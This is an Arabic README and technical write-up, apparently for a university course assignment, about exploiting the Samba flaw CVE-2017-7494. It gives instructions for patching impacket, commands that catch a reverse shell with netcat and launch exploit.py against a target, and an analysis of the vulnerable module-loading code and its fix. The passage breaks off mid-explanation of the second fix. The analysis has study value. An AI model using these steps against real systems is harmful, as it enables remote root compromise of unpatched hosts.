استغلال ثغرة CVE-2017-7494 للمهمة النهائية لدورة أمن الشبكات. هذا سيكشف ثغرات الخدمات التي تعمل بصلاحيات إدارية على لينكس.
استغلال CVE-2017-7494 للمهمة النهائية لمقرر أمن الشبكات. يكشف هذا الثغرة في الخدمات التي تعمل بصلاحيات إدارية على نظام التشغيل.
هذه الثغرة قابلة للاستغلال على كل من macOS وLinux.
قبل الاستغلال، عليك تنزيل التبعيات.
/bin/bash install_requirement.sh
من أهم التبعيات حزمة impacket الخاصة بـ Python؛ فهي ما يجعل اتصال SMB يعمل.
ولكن، من أجل بناء طلب صالح يجعل خادم Samba يحمّل وحدتنا الخبيثة، يجب علينا تعديل impacket الأصلي.
يقوم سكربت التثبيت install_requirement.sh بتثبيت نسخة معدّلة (قمت أنا بتعديلها)، لذا لا داعي للقلق بشأن ذلك ولست بحاجة إلى إجراء أي تعديل يدوي.
ومع ذلك، إذا أردت استخدام إصدار أحدث أو إصدار آخر من impacket، فعليك تعديل هذه الحزمة بنفسك.
انتقل إلى
impacket/impacket/smb3.pyوعدّل السطر 11154 وعلّق على الجملتين التاليتين:
# fileName = fileName.replace('/', '\\') Should be comment!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Should be comment!
if fileName[0] == '\\':
fileName = fileName[1:]
لاستغلال الهدف، تحتاج إلى فتح طرفيتين. استخدم netcat في إحداهما للتفاعل مع الـ reverse shell، والأخرى لاستغلال الثغرة.
الاستخدام:
#First terminal use nc to get reverse shell
$ nc -p 23333 -l
# Second terminal to exploit target
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
إذا كان الهدف يعمل بنظام macOS، يجب ألّا تجمّع الوحدة على Linux! لأن gcc لا يدعم تنسيق MACH-O. إذا كنت مستخدم Mac، فستعمل عملية تجميع الحمولة على macOS.
توجد نسخة مجمّعة مسبقًا في المجلد، وهي mac_payload.so.
استخدم العلم -m لإعلام exploit.py بأنك ستستخدم حمولة مخصصة.
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
sudo -H python3 -m pip uninstall impacket
سيُنشر شرح تفصيلي باللغة الصينية كمهمتي النهائية. إذا كنت تفهم الصينية، فسيكون ذلك مناسبًا لك. :)
—— تقرير هجوم CVE2017-7494
تسبّب إيتيرنال بلو (Eternal Blue) في خسائر فادحة عام 2017، إذ استغل آلية Windows SMB لشن هجمات عبر الديدان. SMB خدمة تعمل على Windows وتتيح للمضيفين المختلفين مشاركة الملفات وإجراء الاستدعاءات عن بُعد (Remote Procedure Call, RPC). ولعلّ هذا النوع من الوظائف هو ما جعلها هدفًا متكررًا لهجمات القراصنة.
يُفترض أن تكون الثغرات في نواة نظام التشغيل نفسه قليلة جدًا — حتى بالنسبة لـ Windows. فعادةً ما تكون الخدمات المختلفة التي تعمل فوق نظام التشغيل هي موطن المشاكل. فهي لا تملك كودًا بنفس معايير الصرامة والاختبار الدقيق لنواة نظام التشغيل، ومع ذلك تعمل بصلاحيات مرتفعة، ممّا يوفّر العديد من الفرص القابلة للاستغلال الخبيث. إذًا، هل يمكننا اختراق نظام التشغيل بالكامل عبر مهاجمة خدمة عالية الصلاحيات تعمل فوقه، بدلًا من مهاجمة المكوّنات الأساسية لنواته؟
نظام التشغيل وحده مجرد نواة لا تفعل شيئًا، فهو لا يوفّر لنا وظائفه المتنوعة إلا بتشغيل أنواع مختلفة من خدمات النظام. ولأن كثيرًا من خدمات النظام لا تعمل إلا بصلاحيات المدير (كعمليات خلفية/daemon)، فإن اختراق أي خدمة عالية الصلاحيات يمنحك صلاحيات المدير على النظام بطبيعة الحال، وبالتالي اختراق نظام التشغيل بأكمله.
أخيرًا، وجدت ثغرة قابلة للاستغلال في Samba، وهو التطبيق مفتوح المصدر لبروتوكول SMB، وهي CVE2017-7494. وعلى غرار Windows، يمكن للمهاجم عبر الاستدعاءات البعيدة (RPC) في Samba الحصول على صلاحيات المدير على نظام التشغيل، ومن ثم تتاح له فرصة بناء ديدان تهاجم عبر الشبكة.
لطالما اشتهرت نواة Linux بأمانها النابع من كونها مفتوحة المصدر؛ وأما macOS، بصفته نظامًا أقل انتشارًا، فكثيرًا ما يوحى بالأمان بسبب قلّة الفيروسات الموجّهة إليه. لذلك ستستهدف هذه التجربة كلاً من macOS وعدة توزيعات Linux مختلفة لإظهار هشاشة أنظمة التشغيل — فمهما بدا تصميم نظام التشغيل «آمنًا»، يظل بالإمكان اختراقه في أي لحظة بسبب ثغرة في تطبيق صغير.
بما أن Samba خدمة مكافئة في طبيعتها لـ SMB، يسمّيها البعض «إيتيرنال بلو لـ Linux»، رغم أنني أرى من الناحية التقنية وجود اختلافات جوهرية بينهما:
تأتي هذه الثغرة أساسًا من استدعاء الدالة bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) في source3\rpc_server\srv_pipe.c للدالة smb_probe_module():
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
...
//这里出问题了
status = smb_probe_module("rpc", pipename);
....
الدالة np_open()، التي تستدعي is_known_pipename() من المستوى الأعلى، هي وحدة تحكم تقوم باستدعاء is_known_pipename() بعد التحقق من طلبات خدمة RPC. وis_known_pipename() كما يوحي اسمها كانت تُستخدم لتحديد ما إذا كانت الأنابيب البعيدة (remote pipes) مسجّلة أم لا، لكن بعد Samba 3.50 أُضيفت ميزة جديدة: تحميل الوحدات الديناميكية عبر استدعاء smb_probe_module()، وهذه الثغرة تستغلّ ميزة تحميل الوحدات هذه لاستدعاء وحدة خبيثة يبنيها المهاجم.
تحميل وحدات rpc pipe يتبع سلسلة الاستدعاءات التالية:
is_known_pipename() - > smb_probe_module() -> do_smb_load_module() -> load_module()
وخلال الفترة بين Samba 3.5.0 وSamba 4.6.3، كانت الدالة do_smb_load_module() تُستخدم مرتين: مرة بواسطة smb_probe_module() لتحميل وحدات RPC، ومرة أخرى بواسطة smb_probe_module() لتحميل الوحدات الخاصة بـ Samba. الدالة smb_load_module() تُستخدم لتحميل وحدات معروفة، ومن المفترض أن تُستدعى داخليًا لتوسيع وظائف Samba نفسها، مثل وحدات VFS؛ بينما smb_probe_module() تعني تحميل وحدات محتملة قد تأتي من طلبات RPC.
لكي يمكن إعادة استخدامها من قبل هاتين الدالتين مختلفتي المصدر (رغم أنني أرى أنه لا ينبغي أبدًا لهاتين الوحدتين مشاركة نفس الدالة)، نفّذت do_smb_load_module() طريقتين معًا: «تحميل الوحدة داخل النظام الفرعي SMB عبر تحليل الطلب»، و«تحميل وحدة عبر مسار مطلق».
static NTSTATUS do_smb_load_module(const char *subsystem,
const char *module_name, bool is_probe)
{
...
/* Check for absolute path */
//注释的注释:如果传入的路径来源是本不应该给出绝对路径的smb_probe_module(),但smb_probe_module()却给出了绝对路径,那么这个检查将会无效,这也是本次漏洞利用的原理。
if (subsystem && module_name[0] != '/')
{
//本来应该进子系统,进行SMB子系统->绝对路径的转换
full_path = talloc_asprintf(ctx,"%s/%s.%s", modules_path(ctx, subsystem),module_name,shlib_ext());
...
}
else
{
//但是它直接加载了我们构造的绝对路径,走了这里
init = load_module(module_name, is_probe, &handle);
//这样init就让一个“不存在的pipe的模块”使用了来自绝对路径的模块
}
//这里直接进入恶意代码的调用
status = init();
...
وبما أن do_smb_load_module() لا تعرف ما إذا كان المسار الذي تمرّره الدالة العلوية يأتي من smb_load_module أم من smb_probe_module، تنشأ إمكانية بناء طلب مزوّر: تحويل ما كان يفترض أن يكون «وحدة تُحمَّل داخل النظام الفرعي» إلى «تحميل وحدة من مسار مطلق». وإذا كانت الوحدة على ذلك المسار المطلق وحدة خبيثة يعرّفها المهاجم مسبقًا، فقد نجح الاستغلال.
ولحسن الحظ، بما أن Samba بروتوكول يدعم نقل الملفات، يمكننا بسهولة رفع وحدتنا الخبيثة إليه. وفي الوقت نفسه، تدعم طلبات DCE أيضًا الاستعلام عن المسارات المطلقة. وبهذين العاملين، يمكننا بسهولة استغلال do_smb_load_module() لجعلها تحمّل وحدة خبيثة من مسار مطلق.
يوضّح الشكل التالي مبدأ الاستغلال:
في الإصدارات اللاحقة، أصلح Samba هذه الثغرة، وكان الإصلاح الأساسي هو تعزيز فحص أسماء الأنابيب (pipe names) الواردة في طلبات RPC.
كان الإصلاح الأول في is_known_pipename()، حيث استُخدم strchr للكشف عمّا إذا كان اسم pipe يحتوي على /؛ فوجوده يعني تحميل مسار من نظام Linux، وهو أمر يجب منعه.
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
NTSTATUS status;
//添加了这一行代码进行检测,防止请求的是绝对路径的模块
if (strchr(pipename, '/')) {
DEBUG(1, ("Refusing open on pipe %s\n", pipename));
return false;
}
...
أما الإصلاح الثاني فكان في smb_probe_module() (وحسب سجل git أُضيف في الإصدار 4.70). وبدلًا من الاستدعاء المباشر البسيط السابق للدالة do_smb_load_module()، أُضيفت قواعد أكثر دقة: